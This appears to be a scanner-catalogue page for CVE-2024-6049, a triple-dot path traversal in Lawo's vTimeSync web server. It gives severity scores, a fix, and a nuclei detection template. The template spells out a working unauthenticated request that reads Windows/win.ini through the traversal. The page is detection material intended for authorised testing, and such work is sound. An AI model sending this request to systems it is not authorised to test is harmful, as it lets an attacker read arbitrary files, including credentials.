Lawo AG vsm LTC Time Sync (vTimeSync) - Path Traversal

highseverity

7.5CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

The web server of Lawo AG vsm LTC Time Sync (vTimeSync) is affected by a "..." (triple dot) path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker could download arbitrary files from the operating system. As a limitation, the exploitation is only possible if the requested file has some file extension, e. g. .exe or .txt.

Impact

Unauthenticated attackers can exploit triple dot path traversal to download arbitrary files from the operating system, potentially exposing configuration files and credentials.

Fix

Update Lawo AG vsm LTC Time Sync (vTimeSync) to the latest version that addresses the path traversal vulnerability.

How to confirm it

Send: GET /
Positive when: contains "vTimeSync" or "Lawo"
Send: GET /.../.../.../.../.../.../.../.../.../Windows/win.ini
Positive when: contains_all(body, "bit app support", "fonts", "extensions") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6049 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6049

info:
  name: Lawo AG vsm LTC Time Sync (vTimeSync) - Path Traversal
  author: s4e-io
  severity: high
  description: |
    The web server of Lawo AG vsm LTC Time Sync (vTimeSync) is affected by a "..." (triple dot) path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker could download arbitrary files from the operating system. As a limitation, the exploitation is only possible if the requested file has some file extension, e. g. .exe or .txt.
  impact: |
    Unauthenticated attackers can exploit triple dot path traversal to download arbitrary files from the operating system, potentially exposing configuration files and credentials.
  remediation: |
    Update Lawo AG vsm LTC Time Sync (vTimeSync) to the latest version that addresses the path traversal vulnerability.
  reference:
    - https://lawo.com/lawo-downloads/
    - https://r.sec-consult.com/lawo
    - https://packetstormsecurity.com/files/182347/Lawo-AG-vsm-LTC-Time-Sync-Path-Traversal.html
    - https://sec-consult.com/vulnerability-lab/advisory/unauthenticated-path-traversal-vulnerability-in-lawo-ag-vsm-ltc-time-sync-vtimesync/
    - https://nvd.nist.gov/vuln/detail/cve-2024-6049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6049
    cwe-id: CWE-32
    epss-score: 0.04235
    epss-percentile: 0.911
  metadata:
    max-request: 2
  tags: cve,cve2024,lawo,vtimesync,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "vTimeSync"
          - "Lawo"
        internal: true
        case-insensitive: true

  - raw:
      - |
        GET /.../.../.../.../.../.../.../.../.../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "fonts", "extensions")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from